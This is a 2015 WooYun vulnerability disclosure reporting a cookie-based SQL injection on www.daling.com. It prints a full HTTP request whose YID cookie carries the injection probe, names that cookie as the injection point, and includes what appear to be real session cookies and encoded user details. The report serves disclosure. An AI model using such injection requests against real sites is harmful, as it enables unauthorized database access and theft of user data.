漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0101916
漏洞标题：达令网某处SQL注入
相关厂商：达令网
漏洞作者： 路人甲
提交时间：2015-03-18 14:41
修复时间：2015-05-02 14:42
公开时间：2015-05-02 14:42
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-02： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
www.daling.com cookie注入
GET /index.php HTTP/1.1
Cookie: Hm_lpvt_01a63d97e20ae495f99ac7e53b572d1b=1424936134; Hm_lvt_01a63d97e20ae495f99ac7e53b572d1b=1424936134; YID=1'"; PHPSESSID=me5k0n5m3adfdmcob4cflalhi1; pccode=me5k0n5m3adfdmcob4cflalhi1; user_info_www=YToyOntzOjc6InVzZXJfaWQiO3M6NzoiNzE1MTY1OCI7czo5OiJ1c2VyX25hbWUiO3M6MTE6IjEzNTgxNTA4MTg1Ijt9
Referer: http://www.daling.com:80/
Host: www.daling.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
注入点YID
漏洞证明：
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝